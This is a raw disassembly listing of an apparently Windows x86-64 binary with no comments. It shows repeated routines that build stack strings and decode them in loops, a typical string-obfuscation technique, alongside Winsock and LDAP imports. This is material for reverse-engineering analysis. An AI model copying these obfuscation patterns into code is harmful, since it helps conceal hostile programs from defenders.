mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x2b0], 0
jmp 0x14003bc6e
mov rax, qword [rsp + 0x2b0]
inc rax
mov qword [rsp + 0x2b0], rax
cmp qword [rsp + 0x2b0], 4
jae 0x14003bceb
lea rax, [rsp + 0xa7a]
mov qword [rsp + 0x1048], rax
mov rdx, qword [rsp + 0x2b0]
mov rcx, qword [rsp + 0x1048]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xa78]
call fcn.140002b40
mov word [rsp + 0xce], ax
lea rax, [rsp + 0xa7a]
mov qword [rsp + 0x1050], rax
mov rdx, qword [rsp + 0x2b0]
mov rcx, qword [rsp + 0x1050]
call fcn.140002994
movzx ecx, word [rsp + 0xce]
mov word [rax], cx
jmp 0x14003bc5b
lea rax, [rsp + 0xa7a]
mov qword [rsp + 0x1058], rax
mov edx, 4
mov rcx, qword [rsp + 0x1058]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xa7a]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1060], rax
mov rdx, qword [rsp + 0x1060]
lea rcx, [rsp + 0x29c0]
call fcn.140002cb4
nop
mov byte [rsp + 0x8c8], 0x6a
lea rax, [rsp + 0x8c9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x44
mov word [rsp + 0x8ca], ax
mov eax, Ordinal_32
mov word [rsp + 0x8cc], ax
mov eax, listen
mov word [rsp + 0x8ce], ax
mov eax, 6
mov word [rsp + 0x8d0], ax
mov eax, 6
mov word [rsp + 0x8d2], ax
mov eax, reloc.WS2_32.dll_ntohs
mov word [rsp + 0x8d4], ax
mov eax, reloc.WLDAP32.dll_Ordinal_30
mov word [rsp + 0x8d6], ax
xor eax, eax
mov word [rsp + 0x8d8], ax
lea rax, [rsp + 0xc96]
lea rcx, [rsp + 0x8c8]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_select
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x2b8], 0
jmp 0x14003bdff
mov rax, qword [rsp + 0x2b8]
inc rax
mov qword [rsp + 0x2b8], rax
cmp qword [rsp + 0x2b8], 7
jae 0x14003be7c
lea rax, [rsp + 0xc98]
mov qword [rsp + 0x1068], rax
mov rdx, qword [rsp + 0x2b8]
mov rcx, qword [rsp + 0x1068]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xc96]
call fcn.140002b40
mov word [rsp + 0xd0], ax
lea rax, [rsp + 0xc98]
mov qword [rsp + 0x1070], rax
mov rdx, qword [rsp + 0x2b8]
mov rcx, qword [rsp + 0x1070]
call fcn.140002994
movzx ecx, word [rsp + 0xd0]
mov word [rax], cx
jmp 0x14003bdec
lea rax, [rsp + 0xc98]
mov qword [rsp + 0x1078], rax
mov edx, 7
mov rcx, qword [rsp + 0x1078]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xc98]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1080], rax
mov rdx, qword [rsp + 0x1080]
lea rcx, [rsp + 0x29e0]
call fcn.140002cb4
nop
lea rax, [rsp + 0x2a00]
mov r8, rax
lea rdx, [rsp + 0x2960]
lea rcx, [rsp + 0x2320]
call fcn.140005004
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x1db0], xmm0
movups xmm0, xmmword [rsp + 0x1db0]
movdqu xmmword [rsp + 0x1dc0], xmm0
mov r8, qword [rsp + 0x1088]
lea rdx, [rsp + 0x1dc0]
lea rcx, [rsp + 0x1f38]
call fcn.140005018
nop
lea rcx, [rsp + 0x2400]
call fcn.1400ec888
mov qword [rsp + 0x1090], rax
mov rax, qword [rsp + 0x1090]
mov qword [rsp + 0x1098], rax
mov rax, qword [rsp + 0x1098]
mov qword [rsp + 0x10b0], rax
lea rax, [rsp + 0x3500]
mov qword [rsp + 0x10a0], rax
mov rdx, qword [rsp + 0x3600]
mov rcx, qword [rsp + 0x10a0]
call fcn.14000359c
mov qword [rsp + 0x10a8], rax
mov rax, qword [rsp + 0x10a8]
mov qword [rsp + 0x10b8], rax
mov qword [rsp + 0x30], 0x500000
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
lea r9, [rsp + 0x1f50]
lea r8, [rsp + 0x1f38]
mov rdx, qword [rsp + 0x10b0]
mov rcx, qword [rsp + 0x10b8]
call fcn.14004bebc
nop
lea rcx, [rsp + 0x2400]
call fcn.140002984
nop
lea rcx, [rsp + 0x1f38]
call fcn.140005010
nop
lea r9, [fcn.140002984]
mov r8d, 5
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x2960]
call fcn.1401735d0
nop
lea rcx, [rsp + 0x1f50]
call fcn.140005010
lea rcx, [rsp + 0x4d]
call fcn.140002990
mov qword [rsp + 0x1800], rax
mov byte [rsp + 0x898], 0x79
lea rax, [rsp + 0x899]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, reloc.WLDAP32.dll_Ordinal_46
mov word [rsp + 0x89a], ax
mov eax, Ordinal_27
mov word [rsp + 0x89c], ax
mov eax, reloc.WS2_32.dll_setsockopt
mov word [rsp + 0x89e], ax
mov eax, reloc.WS2_32.dll_setsockopt
mov word [rsp + 0x8a0], ax
mov eax, Ordinal_32
mov word [rsp + 0x8a2], ax
mov eax, reloc.WS2_32.dll_listen
mov word [rsp + 0x8a4], ax
xor eax, eax
mov word [rsp + 0x8a6], ax
movups xmm0, xmmword [rsp + 0x898]
movdqu xmmword [rsp + 0xbae], xmm0
mov qword [rsp + 0x2c0], 0
jmp 0x14003c0de
mov rax, qword [rsp + 0x2c0]
inc rax
mov qword [rsp + 0x2c0], rax
cmp qword [rsp + 0x2c0], 6
jae 0x14003c15b
lea rax, [rsp + 0xbb0]
mov qword [rsp + 0x10c0], rax
mov rdx, qword [rsp + 0x2c0]
mov rcx, qword [rsp + 0x10c0]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xbae]
call fcn.140002b40
mov word [rsp + 0xd2], ax
lea rax, [rsp + 0xbb0]
mov qword [rsp + 0x10c8], rax
mov rdx, qword [rsp + 0x2c0]
mov rcx, qword [rsp + 0x10c8]
call fcn.140002994
movzx ecx, word [rsp + 0xd2]
mov word [rax], cx
jmp 0x14003c0cb
lea rax, [rsp + 0xbb0]
mov qword [rsp + 0x10d0], rax
mov edx, 6
mov rcx, qword [rsp + 0x10d0]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xbb0]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x10d8], rax
mov rdx, qword [rsp + 0x10d8]
lea rcx, [rsp + 0x2d10]
call fcn.140002cb4
nop
mov byte [rsp + 0x8f8], 0x1d
lea rax, [rsp + 0x8f9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x4a
mov word [rsp + 0x8fa], ax
mov eax, 0x7c
mov word [rsp + 0x8fc], ax
mov eax, WSAStartup
mov word [rsp + 0x8fe], ax
mov eax, WSAStartup
mov word [rsp + 0x900], ax
mov eax, 0x78
mov word [rsp + 0x902], ax
mov eax, 0x69
mov word [rsp + 0x904], ax
mov eax, WSAGetLastError
mov word [rsp + 0x906], ax
xor eax, eax
mov word [rsp + 0x908], ax
lea rax, [rsp + 0xc72]
lea rcx, [rsp + 0x8f8]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_select
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x2c8], 0
jmp 0x14003c26f
mov rax, qword [rsp + 0x2c8]
inc rax
mov qword [rsp + 0x2c8], rax
cmp qword [rsp + 0x2c8], 7
jae 0x14003c2ec
lea rax, [rsp + 0xc74]
mov qword [rsp + 0x10e0], rax
mov rdx, qword [rsp + 0x2c8]
mov rcx, qword [rsp + 0x10e0]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xc72]
call fcn.140002b40
mov word [rsp + 0xd4], ax
lea rax, [rsp + 0xc74]
mov qword [rsp + 0x10e8], rax
mov rdx, qword [rsp + 0x2c8]
mov rcx, qword [rsp + 0x10e8]
call fcn.140002994
movzx ecx, word [rsp + 0xd4]
mov word [rax], cx
jmp 0x14003c25c
lea rax, [rsp + 0xc74]
mov qword [rsp + 0x10f0], rax
mov edx, 7
mov rcx, qword [rsp + 0x10f0]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xc74]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x10f8], rax
mov rdx, qword [rsp + 0x10f8]
lea rcx, [rsp + 0x2d30]
call fcn.140002cb4
nop
mov byte [rsp + 0x8b8], 0x4d
lea rax, [rsp + 0x8b9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, reloc.WS2_32.dll_ntohl
mov word [rsp + 0x8ba], ax
mov eax, 0x3f
mov word [rsp + 0x8bc], ax
mov eax, 0x34
mov word [rsp + 0x8be], ax
mov eax, 0x3d
mov word [rsp + 0x8c0], ax
mov eax, reloc.WS2_32.dll_gethostname
mov word [rsp + 0x8c2], ax
mov eax, Ordinal_35
mov word [rsp + 0x8c4], ax
xor eax, eax
mov word [rsp + 0x8c6], ax
movups xmm0, xmmword [rsp + 0x8b8]
movdqu xmmword [rsp + 0xbbe], xmm0
mov qword [rsp + 0x2d0], 0
jmp 0x14003c3e7
mov rax, qword [rsp + 0x2d0]
inc rax
mov qword [rsp + 0x2d0], rax
cmp qword [rsp + 0x2d0], 6
jae 0x14003c464
lea rax, [rsp + 0xbc0]
mov qword [rsp + 0x1100], rax
mov rdx, qword [rsp + 0x2d0]
mov rcx, qword [rsp + 0x1100]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xbbe]
call fcn.140002b40
mov word [rsp + 0xd6], ax
lea rax, [rsp + 0xbc0]
mov qword [rsp + 0x1108], rax
mov rdx, qword [rsp + 0x2d0]
mov rcx, qword [rsp + 0x1108]
call fcn.140002994
movzx ecx, word [rsp + 0xd6]
mov word [rax], cx
jmp 0x14003c3d4
lea rax, [rsp + 0xbc0]
mov qword [rsp + 0x1110], rax
mov edx, 6
mov rcx, qword [rsp + 0x1110]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xbc0]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1118], rax
mov rdx, qword [rsp + 0x1118]
lea rcx, [rsp + 0x2d50]
call fcn.140002cb4
nop
lea rdx, [rsp + 0x3520]
lea rcx, [rsp + 0x4e]
call fcn.140040e0c
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0x2d8], 0
jmp 0x14003c4f4
mov rax, qword [rsp + 0x2d8]
inc rax
mov qword [rsp + 0x2d8], rax
cmp qword [rsp + 0x2d8], 0xe
jae 0x14003c579
mov rax, qword [rsp + 0x2e0]
add rax, 2
mov qword [rsp + 0x1120], rax
mov rdx, qword [rsp + 0x2d8]
mov rcx, qword [rsp + 0x1120]
call fcn.140002994
movzx edx, word [rax]
mov rcx, qword [rsp + 0x2e0]
call fcn.140002b40
mov word [rsp + 0xd8], ax
mov rax, qword [rsp + 0x2e0]
add rax, 2
mov qword [rsp + 0x1128], rax
mov rdx, qword [rsp + 0x2d8]
mov rcx, qword [rsp + 0x1128]
call fcn.140002994
movzx ecx, word [rsp + 0xd8]
mov word [rax], cx
jmp 0x14003c4e1
mov rax, qword [rsp + 0x2e0]
add rax, 2
mov qword [rsp + 0x1130], rax
mov edx, reloc.WS2_32.dll_ntohl
mov rcx, qword [rsp + 0x1130]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
mov rax, qword [rsp + 0x2e0]
add rax, 2
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1138], rax
mov rdx, qword [rsp + 0x1138]
lea rcx, [rsp + 0x2d70]
call fcn.140002cb4
nop
mov byte [rsp + 0x648], 0x72
lea rax, [rsp + 0x649]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, Ordinal_35
mov word [rsp + 0x64a], ax
mov eax, reloc.WS2_32.dll_send
mov word [rsp + 0x64c], ax
mov eax, 1
mov word [rsp + 0x64e], ax
mov eax, 1
mov word [rsp + 0x650], ax
xor eax, eax
mov word [rsp + 0x652], ax
lea rax, [rsp + 0xa84]
lea rcx, [rsp + 0x648]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x2e8], 0
jmp 0x14003c66e
mov rax, qword [rsp + 0x2e8]
inc rax
mov qword [rsp + 0x2e8], rax
cmp qword [rsp + 0x2e8], 4
jae 0x14003c6eb
lea rax, [rsp + 0xa86]
mov qword [rsp + 0x1140], rax
mov rdx, qword [rsp + 0x2e8]
mov rcx, qword [rsp + 0x1140]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xa84]
call fcn.140002b40
mov word [rsp + 0xda], ax
lea rax, [rsp + 0xa86]
mov qword [rsp + 0x1148], rax
mov rdx, qword [rsp + 0x2e8]
mov rcx, qword [rsp + 0x1148]
call fcn.140002994
movzx ecx, word [rsp + 0xda]
mov word [rax], cx
jmp 0x14003c65b
lea rax, [rsp + 0xa86]
mov qword [rsp + 0x1150], rax
mov edx, 4
mov rcx, qword [rsp + 0x1150]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xa86]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1158], rax
mov rdx, qword [rsp + 0x1158]
lea rcx, [rsp + 0x2d90]
call fcn.140002cb4
nop
mov byte [rsp + 0x9b8], 0x7e
lea rax, [rsp + 0x9b9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, reloc.WLDAP32.dll_Ordinal_46
mov word [rsp + 0x9ba], ax
mov eax, Ordinal_32
mov word [rsp + 0x9bc], ax
mov eax, reloc.WS2_32.dll_listen
mov word [rsp + 0x9be], ax
mov eax, reloc.WS2_32.dll_listen
mov word [rsp + 0x9c0], ax
mov eax, 9
mov word [rsp + 0x9c2], ax
mov eax, reloc.WS2_32.dll_recvfrom
mov word [rsp + 0x9c4], ax
mov eax, recv
mov word [rsp + 0x9c6], ax
mov eax, reloc.WLDAP32.dll_Ordinal_26
mov word [rsp + 0x9c8], ax
mov eax, reloc.WS2_32.dll_listen
mov word [rsp + 0x9ca], ax
xor eax, eax
mov word [rsp + 0x9cc], ax
lea rax, [rsp + 0xca8]
lea rcx, [rsp + 0x9b8]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WLDAP32.dll_Ordinal_22
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x2f0], 0
jmp 0x14003c819
mov rax, qword [rsp + 0x2f0]
inc rax
mov qword [rsp + 0x2f0], rax
cmp qword [rsp + 0x2f0], 9
jae 0x14003c896
lea rax, [rsp + 0xcaa]
mov qword [rsp + 0x1160], rax
mov rdx, qword [rsp + 0x2f0]
mov rcx, qword [rsp + 0x1160]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xca8]
call fcn.140002b40
mov word [rsp + 0xdc], ax
lea rax, [rsp + 0xcaa]
mov qword [rsp + 0x1168], rax
mov rdx, qword [rsp + 0x2f0]
mov rcx, qword [rsp + 0x1168]
call fcn.140002994
movzx ecx, word [rsp + 0xdc]
mov word [rax], cx
jmp 0x14003c806
lea rax, [rsp + 0xcaa]
mov qword [rsp + 0x1170], rax
mov edx, 9
mov rcx, qword [rsp + 0x1170]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xcaa]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1178], rax
mov rdx, qword [rsp + 0x1178]
lea rcx, [rsp + 0x2db0]
call fcn.140002cb4
nop
mov byte [rsp + 0x888], 0x47
lea rax, [rsp + 0x889]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, reloc.WS2_32.dll_socket
mov word [rsp + 0x88a], ax
mov eax, Ordinal_41
mov word [rsp + 0x88c], ax
mov eax, 0x34
mov word [rsp + 0x88e], ax
mov eax, 0x34
mov word [rsp + 0x890], ax
mov eax, Ordinal_35
mov word [rsp + 0x892], ax
mov eax, 0x34
mov word [rsp + 0x894], ax
xor eax, eax
mov word [rsp + 0x896], ax
movups xmm0, xmmword [rsp + 0x888]
movdqu xmmword [rsp + 0xbce], xmm0
mov qword [rsp + 0x2f8], 0
jmp 0x14003c991
mov rax, qword [rsp + 0x2f8]
inc rax
mov qword [rsp + 0x2f8], rax
cmp qword [rsp + 0x2f8], 6
jae 0x14003ca0e
lea rax, [rsp + 0xbd0]
mov qword [rsp + 0x1180], rax
mov rdx, qword [rsp + 0x2f8]
mov rcx, qword [rsp + 0x1180]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xbce]
call fcn.140002b40
mov word [rsp + 0xde], ax
lea rax, [rsp + 0xbd0]
mov qword [rsp + 0x1188], rax
mov rdx, qword [rsp + 0x2f8]
mov rcx, qword [rsp + 0x1188]
call fcn.140002994
movzx ecx, word [rsp + 0xde]
mov word [rax], cx
jmp 0x14003c97e
lea rax, [rsp + 0xbd0]
mov qword [rsp + 0x1190], rax
mov edx, 6
mov rcx, qword [rsp + 0x1190]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xbd0]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1198], rax
mov rdx, qword [rsp + 0x1198]
lea rcx, [rsp + 0x2dd0]
call fcn.140002cb4
nop
mov byte [rsp + 0x878], 5
lea rax, [rsp + 0x879]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x56
mov word [rsp + 0x87a], ax
mov eax, 0x60
mov word [rsp + 0x87c], ax
mov eax, 0x66
mov word [rsp + 0x87e], ax
mov eax, 0x77
mov word [rsp + 0x880], ax
mov eax, 0x60
mov word [rsp + 0x882], ax
mov eax, WSAStartup
mov word [rsp + 0x884], ax
xor eax, eax
mov word [rsp + 0x886], ax
movups xmm0, xmmword [rsp + 0x878]
movdqu xmmword [rsp + 0xbde], xmm0
mov qword [rsp + 0x300], 0
jmp 0x14003cb09
mov rax, qword [rsp + 0x300]
inc rax
mov qword [rsp + 0x300], rax
cmp qword [rsp + 0x300], 6
jae 0x14003cb86
lea rax, [rsp + 0xbe0]
mov qword [rsp + 0x11a0], rax
mov rdx, qword [rsp + 0x300]
mov rcx, qword [rsp + 0x11a0]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xbde]
call fcn.140002b40
mov word [rsp + 0xe0], ax
lea rax, [rsp + 0xbe0]
mov qword [rsp + 0x11a8], rax
mov rdx, qword [rsp + 0x300]
mov rcx, qword [rsp + 0x11a8]
call fcn.140002994
movzx ecx, word [rsp + 0xe0]
mov word [rax], cx
jmp 0x14003caf6
lea rax, [rsp + 0xbe0]
mov qword [rsp + 0x11b0], rax
mov edx, 6
mov rcx, qword [rsp + 0x11b0]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xbe0]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x11b8], rax
mov rdx, qword [rsp + 0x11b8]
lea rcx, [rsp + 0x2df0]
call fcn.140002cb4
nop
mov byte [rsp + 0x9a0], 0x6f
lea rax, [rsp + 0x9a1]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, Ordinal_41
mov word [rsp + 0x9a2], ax
mov eax, 2
mov word [rsp + 0x9a4], ax
mov eax, Ordinal_32
mov word [rsp + 0x9a6], ax
xor eax, eax
mov word [rsp + 0x9a8], ax
mov eax, Ordinal_32
mov word [rsp + 0x9aa], ax
mov eax, reloc.WLDAP32.dll_Ordinal_27
mov word [rsp + 0x9ac], ax
mov eax, reloc.WS2_32.dll_ntohl
mov word [rsp + 0x9ae], ax
mov eax, 1
mov word [rsp + 0x9b0], ax
mov eax, reloc.WLDAP32.dll_Ordinal_27
mov word [rsp + 0x9b2], ax
xor eax, eax
mov word [rsp + 0x9b4], ax
lea rax, [rsp + 0xcbe]
lea rcx, [rsp + 0x9a0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WLDAP32.dll_Ordinal_22
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x308], 0
jmp 0x14003ccb1
mov rax, qword [rsp + 0x308]
inc rax
mov qword [rsp + 0x308], rax
cmp qword [rsp + 0x308], 9
jae 0x14003cd2e
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x11c0], rax
mov rdx, qword [rsp + 0x308]
mov rcx, qword [rsp + 0x11c0]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xcbe]
call fcn.140002b40
mov word [rsp + 0xe2], ax
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x11c8], rax
mov rdx, qword [rsp + 0x308]
mov rcx, qword [rsp + 0x11c8]
call fcn.140002994
movzx ecx, word [rsp + 0xe2]
mov word [rax], cx
jmp 0x14003cc9e
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x11d0], rax
mov edx, 9
mov rcx, qword [rsp + 0x11d0]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xcc0]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x11d8], rax
mov rdx, qword [rsp + 0x11d8]
lea rcx, [rsp + 0x2e10]
call fcn.140002cb4
nop
mov byte [rsp + 0x8e0], 0x29
lea rax, [rsp + 0x8e1]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, reloc.WS2_32.dll_WSAGetLastError
mov word [rsp + 0x8e2], ax
mov eax, 0x40
mov word [rsp + 0x8e4], ax
mov eax, 0x47
mov word [rsp + 0x8e6], ax
mov eax, 0x48
mov word [rsp + 0x8e8], ax
mov eax, 0x47
mov word [rsp + 0x8ea], ax
mov eax, 0x4a
mov word [rsp + 0x8ec], ax
mov eax, Ordinal_79
mov word [rsp + 0x8ee], ax
xor eax, eax
mov word [rsp + 0x8f0], ax
lea rax, [rsp + 0xc84]
lea rcx, [rsp + 0x8e0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_select
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x310], 0
jmp 0x14003ce42
mov rax, qword [rsp + 0x310]
inc rax
mov qword [rsp + 0x310], rax
cmp qword [rsp + 0x310], 7
jae 0x14003cebf
lea rax, [rsp + 0xc86]
mov qword [rsp + 0x11e0], rax
mov rdx, qword [rsp + 0x310]
mov rcx, qword [rsp + 0x11e0]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xc84]
call fcn.140002b40
mov word [rsp + 0xe4], ax
lea rax, [rsp + 0xc86]
mov qword [rsp + 0x11e8], rax
mov rdx, qword [rsp + 0x310]
mov rcx, qword [rsp + 0x11e8]
call fcn.140002994
movzx ecx, word [rsp + 0xe4]
mov word [rax], cx
jmp 0x14003ce2f
lea rax, [rsp + 0xc86]
mov qword [rsp + 0x11f0], rax
mov edx, 7
mov rcx, qword [rsp + 0x11f0]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xc86]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x11f8], rax
mov rdx, qword [rsp + 0x11f8]
lea rcx, [rsp + 0x2e30]
call fcn.140002cb4
nop
mov byte [rsp + 0x858], 0x72
lea rax, [rsp + 0x859]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, Ordinal_41
mov word [rsp + 0x85a], ax
xor eax, eax
mov word [rsp + 0x85c], ax
mov eax, reloc.WS2_32.dll_socket
mov word [rsp + 0x85e], ax
mov eax, 8
mov word [rsp + 0x860], ax
mov eax, Ordinal_32
mov word [rsp + 0x862], ax
xor eax, eax
mov word [rsp + 0x864], ax
xor eax, eax
mov word [rsp + 0x866], ax
movups xmm0, xmmword [rsp + 0x858]
movdqu xmmword [rsp + 0xbee], xmm0
mov qword [rsp + 0x318], 0
jmp 0x14003cfb4
mov rax, qword [rsp + 0x318]
inc rax
mov qword [rsp + 0x318], rax
cmp qword [rsp + 0x318], 6
jae 0x14003d031
lea rax, [rsp + 0xbf0]
mov qword [rsp + 0x1200], rax
mov rdx, qword [rsp + 0x318]
mov rcx, qword [rsp + 0x1200]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xbee]
call fcn.140002b40
mov word [rsp + 0xe6], ax
lea rax, [rsp + 0xbf0]
mov qword [rsp + 0x1208], rax
mov rdx, qword [rsp + 0x318]
mov rcx, qword [rsp + 0x1208]
call fcn.140002994
movzx ecx, word [rsp + 0xe6]
mov word [rax], cx
jmp 0x14003cfa1
lea rax, [rsp + 0xbf0]
mov qword [rsp + 0x1210], rax
mov edx, 6
mov rcx, qword [rsp + 0x1210]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xbf0]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1218], rax
mov rdx, qword [rsp + 0x1218]
lea rcx, [rsp + 0x2e50]
call fcn.140002cb4
nop
mov byte [rsp + 0x868], 0x15
lea rax, [rsp + 0x869]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x59
mov word [rsp + 0x86a], ax
mov eax, reloc.WS2_32.dll_WSASetLastError
mov word [rsp + 0x86c], ax
mov eax, WSAStartup
mov word [rsp + 0x86e], ax
mov eax, WSAStartup
mov word [rsp + 0x870], ax
mov eax, reloc.WS2_32.dll_WSASetLastError
mov word [rsp + 0x872], ax
mov eax, 0x67
mov word [rsp + 0x874], ax
xor eax, eax
mov word [rsp + 0x876], ax
movups xmm0, xmmword [rsp + 0x868]
movdqu xmmword [rsp + 0xbfe], xmm0
mov qword [rsp + 0x320], 0
jmp 0x14003d12c
mov rax, qword [rsp + 0x320]
inc rax
mov qword [rsp + 0x320], rax
cmp qword [rsp + 0x320], 6
jae 0x14003d1a9
lea rax, [rsp + 0xc00]
mov qword [rsp + 0x1220], rax
mov rdx, qword [rsp + 0x320]
mov rcx, qword [rsp + 0x1220]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xbfe]
call fcn.140002b40
mov word [rsp + 0xe8], ax
lea rax, [rsp + 0xc00]
mov qword [rsp + 0x1228], rax
mov rdx, qword [rsp + 0x320]
mov rcx, qword [rsp + 0x1228]
call fcn.140002994
movzx ecx, word [rsp + 0xe8]
mov word [rax], cx
jmp 0x14003d119
lea rax, [rsp + 0xc00]
mov qword [rsp + 0x1230], rax
mov edx, 6
mov rcx, qword [rsp + 0x1230]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xc00]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1238], rax
mov rdx, qword [rsp + 0x1238]
lea rcx, [rsp + 0x2e70]
call fcn.140002cb4
nop
mov byte [rsp + 0x688], 0x11
lea rax, [rsp + 0x689]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x42
mov word [rsp + 0x68a], ax
mov eax, reloc.WS2_32.dll_WSACleanup
mov word [rsp + 0x68c], ax
mov eax, reloc.WS2_32.dll_WSACleanup
mov word [rsp + 0x68e], ax
mov eax, 0x75
mov word [rsp + 0x690], ax
xor eax, eax
mov word [rsp + 0x692], ax
lea rax, [rsp + 0xa90]
lea rcx, [rsp + 0x688]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x328], 0
jmp 0x14003d296
mov rax, qword [rsp + 0x328]
inc rax
mov qword [rsp + 0x328], rax
cmp qword [rsp + 0x328], 4
jae 0x14003d313
lea rax, [rsp + 0xa92]
mov qword [rsp + 0x1240], rax
mov rdx, qword [rsp + 0x328]
mov rcx, qword [rsp + 0x1240]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xa90]
call fcn.140002b40
mov word [rsp + 0xea], ax
lea rax, [rsp + 0xa92]
mov qword [rsp + 0x1248], rax
mov rdx, qword [rsp + 0x328]
mov rcx, qword [rsp + 0x1248]
call fcn.140002994
movzx ecx, word [rsp + 0xea]
mov word [rax], cx
jmp 0x14003d283
lea rax, [rsp + 0xa92]
mov qword [rsp + 0x1250], rax
mov edx, 4
mov rcx, qword [rsp + 0x1250]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xa92]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1258], rax
mov rdx, qword [rsp + 0x1258]
lea rcx, [rsp + 0x2e90]
call fcn.140002cb4
nop
mov byte [rsp + 0x828], 0x19
lea rax, [rsp + 0x829]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x4a
mov word [rsp + 0x82a], ax
mov eax, 0x7c
mov word [rsp + 0x82c], ax
mov eax, 0x7c
mov word [rsp + 0x82e], ax
mov eax, 0x7d
mov word [rsp + 0x830], ax
mov eax, 0x6a
mov word [rsp + 0x832], ax
xor eax, eax
mov word [rsp + 0x834], ax
lea rax, [rsp + 0xb74]
lea rcx, [rsp + 0x828]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_ntohl
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x330], 0
jmp 0x14003d40d
mov rax, qword [rsp + 0x330]
inc rax
mov qword [rsp + 0x330], rax
cmp qword [rsp + 0x330], 5
jae 0x14003d48a
lea rax, [rsp + 0xb76]
mov qword [rsp + 0x1260], rax
